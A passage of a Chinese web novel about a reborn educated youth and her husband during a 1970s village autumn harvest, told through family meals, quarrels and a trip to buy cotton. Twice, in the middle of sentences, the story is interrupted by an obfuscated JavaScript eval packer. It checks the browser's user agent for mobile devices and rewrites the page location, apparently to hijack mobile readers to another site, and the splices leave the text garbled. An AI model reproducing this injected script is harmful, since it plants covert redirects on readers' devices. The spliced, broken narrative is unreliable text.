应晚真点点头,她当时把镰刀放在自己脖子上的时候没想过真的会伤到自己,只是这年头,怎样弄都会有人说说风凉话,只是看起来是弱势的那一方总是得到更多的同情。 不管这伤疤能不能好,也只能顺其自然吧,幸好不深也不长,就左边脖子这一条。 看完伤后,应晚真就起身回家,这次给了2毛钱。 本来陈茂说不要这么多,不过应晚真坚持,他也就没说那么多,“放宽心吧,你这脖子过几天就能好的差不多了,周家老三也是好后生,一起把日子过起来。” 应晚真听到这话有些错愕,等她看向陈茂就发现他又低着头整理刚采的草药了。 应晚真心里有点突突的,前世她和陈茂交集很少,只是在怀孕的时候让陈茂帮着把脉,那时候他看病从来不多说一句废话,也不跟别人多说些什么,不仅仅是对自己,就是对别人也是只看病不说其他的,这时候竟然跟自己说这些…… 应晚真想不通这其中的缘由是什么,但她还是深深地点了头,“我知道的,陈伯,我会好好跟久迟过日子的。” 陈茂给了应晚真一些清热的草药,让她回去熬一点来吃。 应晚真拿着这些药往家走,脑子里还是在想陈茂为什么会跟自己讲这些呢,要说是觉得自己和周久迟过得不好那也不能,毕竟前世他看到了很多她和周久迟之间的摩擦却也从来没有说过,而且他真的从来不会多管别人的事,所以现在是为什么呢? “弟妹!弟妹!” 直到一辆自行车在自己身边停下,应晚真才从自己的思绪中回过神来,是周久国,大队长二儿子,也是周久迟的堂哥,比周久迟大6岁。 应晚真脑海里刚出现这个人的身份,却喊不出口,因为这人已经在自己的生命中消失很久了,她只知道这人是个非常有担当的人,和周久迟的关系也很好。 想到这,应晚真不禁弯起了唇角,不然怎么说人以群分呢,周久迟也是一个很有担当的一个人。 周久国老远看见应晚真,喊了好几声人都不应。本来他还觉得村子里传两人不和的事不对,这会儿也捏把汗了,但是身为一起长大的兄弟还是亲兄弟,他肯定也希望自己兄弟能过得好,这不,现在看到应晚真突然勾起嘴角也是一愣, “弟妹这是上哪去了,我喊你好几声了!” 应晚真还是挺喜欢和周久国这人打交道的,因为他见人都是一副笑脸。 “刚刚去陈茂那看了下脖子,正准备回家呢。” 周久国顺着这话看了眼应晚真的脖子,“你这脖子是沾水了?这伤口可不兴沾水啊!不然怎么好。” 应晚真笑了下,“就洗漱的时候不小心沾上的,这几天注意一下等都结痂就好了。” 说完,应晚真犹豫了一下还是喊了人,“堂哥现在是要去哪?” 一开始应晚真还觉喊人有些难为情,但是一喊出口倒是也没那么难受,反而坦然了。 周久国听到这声称呼心里也是高兴的,谁说他堂弟跟媳妇关系不好的,这不是好着呢嘛。 “我就要去你家呢,婶子今天托我帮忙带点猪肉回来,喏,就这一袋。” 应晚真忙掏出三块钱,“我婆婆跟我说了,这是买肉的钱,多谢堂哥帮忙买了。” “客气啥!钱就不用了,这肉算是我买给你跟三弟的。” 应晚真忙摇头,“这怎么行,亲兄弟还明算账呢,再说了,这买菜的事又托你带还不给钱多不好。而且这些肉也不老少了!等我回去要是被我婆婆知道我连这个钱都没给你,这不是得挨说。” 周久国原本还纠结,听到应晚真这话也没说什么了,“那钱我就收了!我这也还有点事去趟村里……” 应晚真忙接到,“行,那你先忙!” 到家的时候才八点出头,应晚真把猪肉放碗里,又把碗放在装水的盆里镇着,盖好之后就换上长衣长袖带上两个水壶去地里了。 她也知道周久迟让自己去看脖子再给他送水是为了让自己多休息会儿,但是她并不想让别人再多说些闲话,尤其是抢收的时候。 周家分到的地都是一块儿的,周大伯一家子也在旁边,还有周大娘一家子跟毛婶。 所以等应晚真过来的时候,大家就看到一个俏生生白得在太阳底下跟要发光一样的人儿在田埂边给周久迟递水。 再看周久迟,一个高大健壮的男人站在一边咧开嘴的模样。 毛婶看了一眼就低下头啐了一口,“大白天的真是不像话。” 一旁还在感慨周老三两口子算是过上日子了的周大娘顿时就怒了,她压着怒气,“人家两口子,送个水咋了,你是看不得人家两口子好吧。” 说完也不等毛婶的反应,马上转身远离毛婶的位置继续干活,剩下毛婶一个人气不打一处来。 而从应晚真远远出现就已经注意到的谢红英和周父,他们两人心里也是滋味的,毕竟前段时间还觉得这三儿子儿媳可能过不下去了,这下马上都来给送水了,老三这嘴都要合不拢了,谢红英嘴里是嫌弃自己儿子不像话,但看她拼命把自己的嘴角往下压就知道她心里头高兴得很。 等周久迟喝得差不多了,应晚真就把水壶给放好,打算下地。 “你下来干什么?”周久迟压低了声音,“你这脖子还没好而且日头又毒的,你先回去,这里有我呢!” 应晚真沉下了脸。 原本还觉得和应晚真近了一步的周久迟心里顿时咯噔一下。 “久迟,我嫁给你不是为了不用干活,我知道秋收很累,大家都很累,但是不能我休息,大家就干。” 见周久迟还是不太愿意的样子,应晚真又继续说,“大家都不喜欢我们知青,就是因为觉得我们知青不能干活,我知道我干的也不好,所以也没打算逞强,我就只是在你背后收拾稻草。” 周久迟这才没这么反对,他看着应晚真白嫩嫩的脚慢慢没入水里然后踩进地里,然后一步一步地走在田里,每一步带出一些泥土,但是应晚真脚上的那一抹白直直地映在了周久迟的脑海里。 他觉得这就不是一双该下地的脚,这么想着他眸子也沉了沉。 周久迟没再站着,干起来更快了。 他一头扎进稻穗,手上不停。 等到十点多,周大娘起身打算歇会儿,结果一抬眼就看见周久迟割的那块地,“我滴乖乖,割这么快!” 周大娘这声音不大不小,她周围的人也都听见了,都顺着周大娘的视线看去,就发现周久迟割的那块地竟然只剩下那么一小块了,估摸着中午晚点回去或者下午再来割一会儿就能拿十个满公分了。 而他身后的应知青,那也是勤快得很,虽说速度没那么快,但和村里的姑娘比也是能比得上的。而且她收拾的稻草就跟她人一样,整整齐齐,看起来就舒爽。 周大娘看了会儿,也激发了自己的斗志,手上更加利索。 其他人也是,看见别人干起来那么快,心底也不免着急了起来。 就这样,不知不觉中,两个人带着大家卷了起来。 等到快十一点要回去的时候周久迟来叫应晚真,她才发现分给自己的地已经少了很多,只有剩下五分之一的样子了。 “怎么那么快?” 看到应晚真瞪大了眼睛的样子,周久迟心里快活得很,一下子就扫清了身体上的疲惫。 “早干完早点休息嘛,别干了,咱回去吧,看这一身汗。” 应晚真也是早累了的,尽管她来的晚,可是因为刚干的时候看见周久迟这么认真所以自己也不知不觉投入进去了,也没注意到时间更没注意到周久迟已经干完了这么多。 “好,反正也不多了,下午再干也是一样的。”应晚真从树荫下找到两人的水壶,“还有点水,先喝点吧。” 等两人在树底下站了会休息,大家伙也陆陆续续从地里出来了,现在虽然是抢收,但是一般都是起早,中午休息时间还是比较多的,毕竟现在太阳也不算小。 今天是大嫂马芳做饭,她十点钟左右就回去了。 不过回去之后也没那么快吃饭,一大家子人的饭也不是那么好做,今天中午还是番薯粥就咸菜,还有炒青菜跟一个白菜炒肉沫。 这个肉就是今天拖周久国带回来的,大嫂马芳切了一小块在中午给大家添点伙食。 谢红英虽然想着的是晚上一家人一起用肉包饺子吃,但是中午也是给家里人吃的,也就没说什么。 因为马芳正在做饭,上灶还是有热水的,一般来说,周家村里家家户户的厨房都有两个灶,两个灶是连在一起的。做饭什么的都是用下灶,也就是大一点的灶,而上灶就是小一点的灶,一般就用来煨点热水。 应晚真马上就打了点水准备洗一洗,虽然刚刚在外面已经用河里的水把身上的泥巴给洗掉了,但是身上还有一股腥味,而且还有不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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却不巧,被孙盼睇看见了,“我说三弟妹,你这可要改了,现在都是农民当家作主,你看看,我家诗贵没洗澡你这就要嫌弃还离他几米远,这是看不起农民了?” 应晚真心里也有一股气,“二嫂不要老是上纲上线的,谁知盘中餐,粒粒皆辛苦。主席都说过了农民百姓才是国家的主人,他还说了每个人都要讲卫生,注意个人卫生,我洗澡怎么了?而且我想离我家久迟近点怎么了,你跟二哥不也挨着坐?而且久迟身上就是干净啊!” 说着,应晚真看向周久迟,“久迟,你不想我挨你这么近吗?” 周久迟的耳根刷一下就红了,他快速地抬眼看了下应晚真又躲闪着回去了。 他不敢看应晚真,只觉得整个人都热了,而且他也感觉到周围好多视线看着他,他不敢抬头,挪了挪位置让应晚真更多空余位置坐,也离自己更紧,还把自己碗里的肉夹出来放进应晚真碗里,“吃吧。” 应晚真说完那句话本来也有点害羞,可是看见周久迟这样,顿时就放开了。 但她没接周久迟的肉,“你吃吧,这是娘分的,大家都有,而且你上午干了这么多活,多吃点。”说着,应晚真便把自己碗里的菜跟饭往周久迟碗里拨。 周久迟一个受宠若惊,但他又不敢把碗拿走,他害怕自己一拿走,这些饭菜就得掉了。 “我够了,你吃你吃!” 谢红英觉得自己简直没眼看,马上咳了两声。 两人马上便噤声了,开始吃自己的饭。 吃完饭,大家也没多待,大嫂收拾碗筷去了,孙盼睇早就拉扯着自己儿子走了。 至于应晚真和周久迟,他们俩漱完口就回房了。 应晚真洗澡也有这个考虑,毕竟中午休息时间长,所以洗完澡舒舒服服地躺床上睡一觉多好啊。 周久迟吃饭的时候眼神就跟着应晚真不会动了,这会儿当然也是应晚真去哪他就跟着去哪。 应晚真看他也进来就说了句,“你也睡会儿吧,下午还得上工。” “嗯,你下午就别去了,那点活我一会儿就干完了。” “不行,我得去,总不能不干活吧多不好。”应晚真强打着精神,脑子已经有点混沌了。 “那你跟上午一样,给我送水吧,晚点来就行。” 应晚真觉得也行,朦胧地点点头就睡着了。 周久迟看着呼吸渐渐沉下来的应晚真也知道人现在睡着了,他悄悄转过头看着应晚真的睡颜,又想起这几天应晚真跟他说过的话,顿时他心里就暖呼呼的,脸上也不自觉地挂上笑。 13. 第 13 章 等应晚真醒来的时候,周久迟已经不在床上了,她出去一看,家里也没人了,已经三点十多分了。 正常来说,两点半就得到田里了,应晚真知道自己晚了,但是看着这个天,艳阳高照,一朵云都没有,还在屋檐下呢,她就已经感觉到一股热气涌上来了。 本来打算打好水就去田里的,但是她突然想起了自己那里还有点绿豆,还有周久迟上次带回来的冰糖,那不然就煮点绿豆汤再去吧。 虽然应晚真不习惯农村的大灶头,不过也是用过的,只是不熟练而已,再说了她的厨艺其实很不错,只是现在的大灶头不习惯,也没有足够的调料。 像现在这个绿豆汤也只有绿豆和冰糖这两样东西。 应晚真也就先把绿豆淘洗两遍倒进锅里,再加上没过绿豆的水煮开后等20分钟。 这时候开盖已经可以看到绿豆已经变成一个个胖乎乎的豆子了,再加上原本绿豆量的三倍水,继续焖20分钟,这时候打开锅盖就看到个别绿豆都开花了,然后再用勺子摁压一下,让它更好的出沙。 最后再加上适量的水烧开,加上一些冰糖焖个20分钟就差不多了。 干完这些已经三点出头了,这时候绿豆汤还热着。 因为自家没水井,应晚真便把这些绿豆汤分别装到两个盆里,带着走进了大伯家。 这时候大伯一家基本都在地里,只有二堂嫂在家,她怀孕九个多月了,应该就这几天生产,所以也就不上工了。 “堂嫂,就你在家吗?” 应晚真刚喊两声,就听到了回应。 “在,久迟媳妇是吧,咋了,这个点来找我?”陈香挺着个大肚子出来,她有张笑脸,见人都是笑眯眯的。 “这不是抢收嘛,天气热,我煮了点绿豆汤,但是太热了,所以想问问你可不可以放你家井里镇一下。等四五点就可以给他们送去了。” 陈香当然没有不答应的,“那当然可以了,我给你拿吊绳。” 等弄好这一切,应晚真和陈香闲聊了几句就又回家了,毕竟家里的锅还没收拾呢。 应晚真把锅洗了,看了看放在一旁的肉,因为厨房外面有一棵树,所以一般厨房都是比较凉快的。 等一点点收拾完,也差不多到点了,虽然要收拾的不多,但是一旦收拾起来就不知道时间去哪了。 “二堂嫂,在家吗?” 应晚真声音刚落下,陈香就出来了,“在呢,你拿!” 应晚真把井里镇着的绿豆汤拿出来,把其中一盆少一点的递给陈香,“二堂嫂,这些就给你们尝尝,也尝尝我的手艺!” 陈香刚想拒绝,但是一听到尝尝这手艺就把话咽回去了,但是她琢磨着这绿豆汤不是拿去熬就行了嘛,还说什么尝尝手艺呢。 应晚真看陈香犹豫不决,“也就是点绿豆,再说这太阳不小,而且还要下地,肯定热。” 陈香这才没拒绝,“行,那你等等我,我也给久国他们送过去。” 等两人都收拾好就一起去了地里。 两家人和之前一样分的地都是挨着的,应晚真隔着老远就看见他们弯着腰割稻,脚下也不近再快了些。 离田里还有十米远,孙盼睇就看见了应晚真,她真是气不打一处来,这个点了,她们顶着大太阳来秋收,结果人媳妇呢,太阳都要晒屁股了,这才来。 她不禁扬起声,“这三弟妹真是来得早啊,我还以为你要不来了呢,原来你还来啊!” 应晚真拧了下眉,没有搭腔。 倒是陈香笑着说,“这不是,久迟媳妇看天气这么热,心疼叔婶,给熬了点绿豆汤过来嘛。” 应晚真随之搭声,“爹娘,我在家熬了点绿豆汤,你们赶紧上来尝尝!” 原本谢红英是有点不高兴的,但是现在看到应晚真手里的东西,而且也没和老二家的吵,顿时心里舒坦了些,“还有绿豆汤啊,行,当家的,割完你手里这茬就上来吧。” 陈香也站在边上喊起了自己的爹娘,“爹娘,你们也上来吧,久迟媳妇还给咱分了一些,我一起带过来了,都上来解解渴。” 其实不等陈香说,谢红英就已经叫着大队长一起过来了,只是刚开始村长媳妇也就是她妯娌并不想来,但听到确实带了自己的份,也没矫情就过来了。 孙盼睇一听到有吃的眼睛就放光了,明明她离应晚真站的位置最远,但是却最快过来。 应晚真不是很想搭理她,但是也不想跟这种人计较,她要关心的人都没那么多时间,又哪来时间去跟别人折腾。 她环视一周,就和周久迟的眼神对上,只是就在对上的一刹那,周久迟的眼神就躲开了,应晚真有些意外,但是很快她又看到了周久迟耳根上的红晕。 “久迟,快别忙了,先上来喝点绿豆汤吧。” 周久迟听到这话,忙点头把镰刀放下,就过来了。 谢红英早就注意着两人的动作了,这会儿看到周久迟这模样,虽然有点恨铁不成钢,但心里还是高兴的,但她也只是悄悄放在自己心里。 刘文芳就没有这个忌讳了,她大咧咧地调侃在田里三步当两步走的周久迟,“你看看老三这样,媳妇一喊,这步子跨得恨不得直接飞到自己媳妇面前!” 应晚真听到这调侃也不由得脸红了起来。 周久迟本来以为自己的小心思没有被发现,结果就这么大咧咧的被说出来,饶是他脸皮厚也不由有点烧。 应晚真没应声,只专心给大家盛汤。 孙盼睇早就忍不住了,但现在她还没拿到,也就安安静静待在一旁。 应晚真给每个人盛好之后,就给周久迟盛了一碗。 周久迟接过的时候,应晚真还看到他悄悄上翘的嘴角。 应晚真也忍不住弯了弯唇角。 刘文芳喝了两口,还没咽下去就说,“这绿豆汤做得好啊,这豆沙又绵又蜜,这放了不老少糖吧,真甜呐!” “大火炖的久,放的是冰糖。” “冰糖啊,这可是好东西,”刘文芳看着自己的碗,有点不太愿意吃了,毕竟是冰糖,好东西,但很快她就回过神来,现在可不是以前了,吃都吃不饱,现在有吃的了,能吃就吃,省得自己家里又说自己一辈子就知道省省省,再说了,这些东西迟早也会给还回去的。 倒是孙盼睇一听到这是冰糖顿时就炸了,“冰糖?老三媳妇可真能耐啊,天天在家还能挣着钱买冰糖吃?” 一群人本来说说笑笑的,孙盼睇这话一出顿时安静了。 应晚真也是真的气恼了,她可以容忍别人偶尔的小心思,但不代表她真的没有脾气。 “我是没挣到什么钱,但我男人能挣啊,他不禁能挣钱还愿意花钱给我买冰糖吃,怎么,你嫉妒我,嫉妒我男人好?” 应晚真完全平静地说出这句话。 孙盼睇本来是想闹腾一下,表明这女人多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420818|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不持家,或者告诉家里人这人多么会花钱的,但是现在她又觉得应晚真说的没错,人男人有钱还愿意给自己媳妇买糖吃,不过很快,孙盼睇就有点害怕了,因为应晚真从她说话的时候就一直直视孙盼睇,看得孙盼睇心里毛毛的。 应晚真等的就是这个时候,她快速地上前一步,将孙盼睇手里的碗直接拿下,孙盼睇下意识想牢牢拿住,但是看到应晚真的眼神,她顿时就不敢有动作了。 应晚真拿过她的碗,有些嫌弃地皱了皱眉,然后直接把碗放在地上,给一直跟在边上想吃点什么的狗狗吃。 “还是这狗乖啊,你看看有些人,做好了放她碗里还要叽叽歪歪,狗狗就不一样了,喂给狗狗吃,它以后每次见你都要摇尾巴了。” 孙盼睇气到爆炸,尤其是看到那只狗真的在摇尾巴的时候。 她楞了半宿,还是不能咽下这口气,而且现在人这么多,她觉得大家伙都在看她的笑话。 可她看到应晚真这张风轻云淡的脸却什么也说不出来,只能转移阵地,哆哆嗦嗦地指着说,“老三,你媳妇能耐了哈,我是她嫂子她就能这么对我!” 应晚真不想周久迟加入到这事来,毕竟一个嫂子和家里小叔子吵架不好听。 “奥,嫂子!我怎么对你了,是觉得我不应该给你绿豆汤吗?你放心吧,以后不会有你的份了。嫂子,你不要生气,气歪了鼻子别人要笑话你了。” “你……”孙盼睇你了半天没你出个所以然来。 最后还是周家庸发话,“都干什么?吃饱了是吧?吃饱了赶紧干活!有的吃还不安生!都闹腾个什么劲,要是吃饱了今晚就别吃饭了!” 孙盼睇忍了又忍,最终还是觉得现在大家都站在应晚真那边,她讨不了好,更何况今晚可是有饺子吃的,这饺子可是难得的好东西,她可不能因为这个就吃不上了。 谢红英虽然有些可惜放了这么多糖的绿豆汤给狗吃了,但是她不插手,毕竟这老二家的一直以来都不安分,都是自己凭本事来的,再说了,又不是不给她吃,结果还要来恶心你,任谁都要不高兴了。 应晚真逗完狗之后,将自己碗里的给吃了。 其他人也都匆匆吃完继续下地了,只留下周久迟。 周久迟有些心疼,他想握一下应晚真的手却不敢,不仅是对两人的关系的不肯定,还有现在大庭广众的。 应晚真看到他这样觉得好笑的同时也觉得心疼。 “好了,你在那边割稻是吧?我来收拾稻杆。” 周久迟想都没想,就阻止道,“那边已经快好了,你把碗带回家去就好了,我也马上干完就回去了。”说最后一句话的时候,周久迟的声音越来越小。 “这么快!”应晚真挽起裤脚下地,“那我一起就更快了。” 周久迟来不及阻止,但也确实有不少人关注着两人,所以他也迅速下了地,“你在我边上就行,一次性不要抱太多,别弄到脖子上了!慢点搞,也不着急。” “知道了。” 周久迟看着应晚真那已经很熟悉的动作,还有裤脚露出的那一截白皙晃眼的腿,顿时心里鼓起一抹劲,她以前不用下地,没道理跟着自己只能天天下地。 也许是今晚的饺子激励着大家,所以每个人都很卖力的干活,太阳还没落山,一家人今天要做的就都干完了,只是因为还有人在地里干活,也还没到大家下工的时候,所以周家庸倒是没那么快回去。 14. 第 14 章 虽说是饺子,但是这年代这时候,也是没什么大鱼大肉的,就算是饺子,也是菜多肉少。 周久迟倒是很勤快,一回来简单把自己收拾了之后就开始剁馅。 今天有两种馅,一个是包菜肉馅,一个是萝卜肉馅。 “老三,你这剁得不错啊!”周久建本来是和他们一起回来的,但是不知道中途去哪里鬼混了,周久迟已经剁着馅了他才到家。 周久迟听到这话也没怎么搭理,他是很清楚自己这个二哥的,他就是个懒散的人。 周久建早就习惯自己的弟弟这幅德行了,他也不在意这些。 很快应晚真也收拾好自己了,她洗了澡也换了身衣服,不换的话总觉得自己身上一股子味。 出来就看到周久迟剁馅,大嫂在收拾桌子准备包饺子了。孩子们也一个个乖得很,毕竟今晚可是吃饺子。 谢红英去收拾自家的鸡去了,回来看到只有大儿子一家还有小儿子一家在忙活,顿时气就不打一处来,“怎么,老二,你们一家子是不吃吗?不吃倒好了,其他人可以吃饱点!” 周久建连忙从不知道哪个位置冒出来,“咋了,娘,这是干啥,我这不是刚下工上个茅房嘛!这又是咋了!” 说着马上转头看向自己的媳妇和孩子,“你们娘几个都好了是吧,赶紧着来包饺子,不然今晚别吃了!” 孙盼娣这才带着孩子过来,当然她家的孩子是不帮忙的,因为她家的都是男孩,从小被孙盼娣惯得不行,觉得男孩子就不应该干什么厨房里的活。 谢红英倒是管过,但是都被孙盼娣哭天喊地的糊弄过去了,而且自己这个二儿子也不在自己这边,自己的孩子也不教,渐渐地她也寒了心,只是每次看到还是忍不住心塞。 应晚真没搭理老二一家的官司,等周久迟把馅剁好,她就开始包了,应晚真包饺子都是包成金元宝那样的,就像个圆肚子的宝宝。 她很久没吃饺子了,这个饺子让她想起家里团员的时候。 尤其是包菜馅的,所以她就专门包包菜肉馅的,周久迟把刀案板啥的收拾好,也出来包饺子,他径直坐在应晚真边上,等看到应晚真面前包好的小巧可爱的饺子,还有她脸上的恬静,顿时嘴角就压不住的往上翘了。 当然他马上把自己的脸转向了其他地方,也刻意压下自己的嘴角。 晚上吃饺子的时候,因为都是谢红英来分饺子的,所以在她分的时候,周久迟就专门过去挑了一波,当然不是为了自己多吃几个,而是为了让自己吃的和媳妇吃的都是自己媳妇包的。 原本谢红英还不知道自己这小儿子的意思,直到在给自己小儿子分的时候,他非要包成金元宝那样子的她才反应过来。 “你丢不丢人啊你,想吃你媳妇包的……” 谢红英话还没说完,就被周久迟捂住了嘴,“娘,你说那么大声干什么?”说着,周久迟还心虚地往堂屋看,不过应晚真倒是没看见,却看见了其他人。 来人就是孙盼娣,她一进来就往分好的碗里瞟。 “娘,我来帮忙!” 谢红英哪能不知道这人来的真实目的是啥,不就是看见老三在这,担心自己给老三开小灶嘛!但现在她也没发火,为这东西发火不值得,只是心里不免又生了点气。 “既然来帮忙,那就把火给埋上,等会儿一家子还要洗澡!” 原本还在盯着饺子的孙盼娣在谢红英看不到的地方撇了撇嘴,“行,娘,我这不就来了嘛!” 周久迟看着自己那一碗还有媳妇那一碗都是圆鼓鼓的金元宝,顿时就开心了。 孙盼娣看见周久迟那高兴样,总觉得他碗里是多了几个,但是这分饺子确实也是在自己眼皮子底下分的,似乎也没什么猫腻,就算有什么猫腻,自己现在也没看出来,要是闹了,指不定今天就吃不上饺子了,她也就没表现出来。 等到都分好了,这才跟着一起出去。 周久迟看到这饺子,心里也是一阵满足,他吃东西一向都是大口吃,而且自从知道这是媳妇家那边过年必吃之后,这饺子在他心里的地位也不一样了。 应晚真吃了几口,心里也是一阵舒服。 周久迟余光一直在关注应晚真,看到她这副模样,也是打心底的高兴,一高兴,他就大口吃饺子,一吃就停不下来,吃得满头汗,一口一个。 应晚真看他吃得满足,也觉得自己食欲也上来了。 周久迟吃得很快,连饺子汤也一起喝了,应晚真看了忙把自己碗里的给周久迟夹,周久迟一边躲又不敢躲,因为他担心一躲饺子就掉了。 “你留着自己吃,你不是喜欢吃饺子吗?” “我再吃三个就饱了。” 周久迟看着弯着眉眼的应晚真,只觉得自己的心脏被填的满满的。 应晚真碗里还有七个饺子,给周久迟夹了四个,这饺子也不算大,周久迟肯定吃得完,但是他没有像之前那样一口一个快快地吃,而是一个饺子咬好几口,好像在仔细品味似的。 周久建看见自己弟媳都把自己的饺子给自己丈夫吃,顿时也看向了自己的媳妇,但是孙盼娣也早就吃完了,现在就看着周久建的,就是周久建在看应晚真两人愣神的那会儿,孙盼娣已经从周久建碗里夹了两个饺子出来了。 反应过来的周久建顿时就骂出了声,“孙盼娣,你是饿死鬼吗?这都是娘分好的,你还从我碗里夹?” 说着,周久建就伸出筷子盯着孙盼娣碗里的饺子伸过去,但孙盼娣也不是个死的,左扭右扭就是不想让周久建碰到。 周久建夹不到更是生气,干脆一推孙盼娣,没想到这饺子就直接掉地上了。 “周久建,你个孬种!你自己婆娘的吃食都还抢!” 本来周久建心里就有气,“我孬种,你自己就是个好东西了?你看看你,自己碗里都有还抢自己男人的,老子天天在外面下地上工累死累活的,自己都还没吃饱,你就从老子碗里夹,老子都还没让你省下来呢!” 孙盼娣听到这个更是生气了,“你个龟儿子,竟然还想着从自己媳妇碗里抢吃的,你也好意思?你看看,你自己孬不孬,自己半点本事没有,我嫁给你过了什么好日子?” “没过上好日子,那你现在吃的什么,你看看你以前在你家逢年过节都吃不上一口肉,别说饺子了。现在还有脸说跟着我没过过好日子,那你倒是把饺子吐出来啊!” 孙盼娣气得说不出话。 周家庸和谢红英也是,周久迟和应晚真两人就是默默吃自己的饺子,不过周久迟只吃了两个剩下的又夹回给应晚真了。 大哥周久红一家子也没掺和老二一家子的事,毕竟这是大家都习惯了的。 “滚,你们两口子要是不想吃就赶紧滚,”周家庸气得脸都红了,“再不滚看我打不打你!”说着,周家庸左右看看似乎想找趁手的工具。 周久建看事情不好,连忙用脚把地上的饺子踩了两脚,“让你吃!”说完,跑得比兔子还快,一会儿就不见了。 孙盼娣看见饺子没了,自己丈夫也跑了,公爹又还在到处找鸡毛掸子,顿时就嚎了起来。 应晚真现在已经吃不下去了,但是现在粮□□贵,她也不想继续待在堂屋看这场闹剧,便连忙夹起剩下的饺子往周久迟 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说完,应晚真就翻开自己的被褥上床去了,周久迟看着安静躺着的应晚真,摸了摸自己的脑袋,似乎有点不相信这是真的,虽然一开始他确实抱了些日久生情的希望,但是在结婚前和应晚真的那段话,让他认清了自己,所以现在她对自己的好,他只觉得自己幸福,当然在心里的那点渴望之下,他脑海里也清晰记得结婚前应晚真说的,人是不知足的,得到了原本想要的东西之后,那么自然而然想要其他的了。 顿时,周久迟轻轻晃了晃脑袋,虽然他很喜欢现在被她在意的感觉,但是他也希望她是真的愿意和自己在一起,而不是现在这样的无奈之选。 不过没关系,他一定会给她一个美好的未来,只要她愿意。 周久迟在心里下了怎样的决定,应晚真暂时不知道,现在的她想的是自己的父母。 距离自己父母下放已经大半年了,刚开始下放是最严的,而且自己下乡也非常匆忙,所以现在还没和父母取得联系,当初父母下放的消息还是从公社那边知道的。 根据前世的记忆,现在的父母应该已经度过了最初那段难熬的时候,但现在已经是冬天了,没记错的话今年冬天对自己父母而言,也会是非常难熬的一个冬天。 记得后来自己的父亲就是因为这个冬天,导致腿部关节受寒,所以后来一直都在轮椅上,这对以前拿枪的人来说,何尝不是一种残酷呢? 应晚真琢磨着得找机会给父母寄点棉花,倒也不担心这些东西会被克扣,因为父母所在农场的厂长是个很中立的人,他向来不喜欢和别人有争执也不愿意得罪任何人的,所以她不担心这些到不了父母的手里。 不过就是物资不好弄,想着想着,应晚真便进入了梦乡。 * 时间过得很快,秋收经过半个月已经结束了,就差一些没晒干的稻子了,大家伙也稍微歇息了会。 应晚真因为担心自己的父母,便也趁着秋收结束的时候去了趟县城,带上了自己的一些票,那是下乡的时候家里给换的,特意给自己换了全国票,时间也久,正好有一些棉花票。 这是她重生以来第一次进县城,现在的县城和她记忆里的不一样,可能是心境改变了吧,现在的县城反倒温馨了不少。 也有记忆里那种作古的感觉。 不过等她看到供销社那排得老长的队之后,她还是深深地叹了口气,现在的物资真的是太紧缺了。 应晚真向一挎着篮子面相一看就和善乐于助人的大娘打听,原来今天进了一批布料,还有不少水果罐头。 听到这个,应晚真心里不禁有些担忧,现在的棉花都是定量的,每人每年也就2两,这东西简直比布料还紧缺,现在布料排队都已经这么长了,那棉花还能买到吗? 这么想着,应晚真也只能先排队了,现在这年头能买到啥就是啥吧! 15. 第 15 章 大娘看见应晚真问完就排在自己身后,反正排队也闲着没事,尤其是看着身后的女孩,看起来年轻又盘靓条顺的,顿时就起了心思。 “大妹子,你哪儿的人啊,买料子买棉花做身冬天的衣裳?” 应晚真直接忽略了前面的问题,因为现在她这种成分不好的,简直就像是过街老鼠。 “是想买点料子,不过更想买点棉花,我爸妈的棉衣都穿硬了,不知道多少年了,现在穿都不热了,这不是想着快过冬了,买点棉花嘛! “不过这棉花真紧俏啊,也不知道买不买得到。” 大娘看着应晚真眼珠子转了转,“你可真孝顺啊,这年头像你这么大的能想着父母的可少了!” 应晚真注意到大娘的眼神,但她也不明白她这意思,也还是顺着她的话,“哪呢?我这棉花都还买不到,再说了我爸妈自己舍不得吃穿就为了我,我长大能不为我爸妈好嘛!” 排了差不多一个半小时,前面还有三个人轮到应晚真。 应晚真站在后面已经看得清楚,也和大娘打听不少事,记忆也渐渐复苏起来,前世她是没自己做衣服,可到底生活有接触,所以也知道十尺的布可以做一身衣服,而且还会多一些布料。 这会儿她就拿出自己的布票,一共三张十尺的布票,五张五尺的,这些布票是她下乡的时候,父母给的,而且都是全国票。 那时候应父应母已经预料到未来自己的情况会不好,儿子因为年纪到了早就参军去了,就剩下这个小女儿,而且因为事发突然早就没有安排的机会了,只能尽可能让女儿身上多带些可以用上的东西。 应晚真早在来的时候就已经看好了自己票的有效日期,因为她不懂需要多少票也是为了以防万一,所以她把布票和棉花票一起带了。 大娘这会儿本来也是排队,一回头想跟身后这刚认识的大妹子再说会儿话的,结果就看见应晚真手里那一沓的票。 “我滴……”乖乖,话没说出口,大娘就止住了自己的声音,转而小心看了看周围才凑近应晚真的耳边, “大妹子,你咋那么多布票啊?” 应晚真愣了下,“家里给的,存了好久呢!” 大娘看着这票,怎么也知道一家是不可能存这么多的,而且还是全国票,她再次悄悄打量应晚真,“大妹子,你是下乡知青吧!” 应晚真笑着点点头。 眼见大娘前面只剩下两个人了,大娘这才小声问应晚真,“大妹子,你给你父母做衣服需要多少布票啊?” 应晚真看着大娘眼底的希冀,突然有点明白她的意思,“这得看能买到多少棉花,这不是给我爸妈做棉衣嘛!” 刚说完,应晚真就听到销售员对着现在买布料的人说,“这是最后一斤棉花了!” “就一斤啊,我这把旧棉被弹成新的都不够!” “反正就这点了,要就给你,不要就算了。” 剩下的他们说了什么应晚真已经没听见了,她只知道棉花已经没有了。 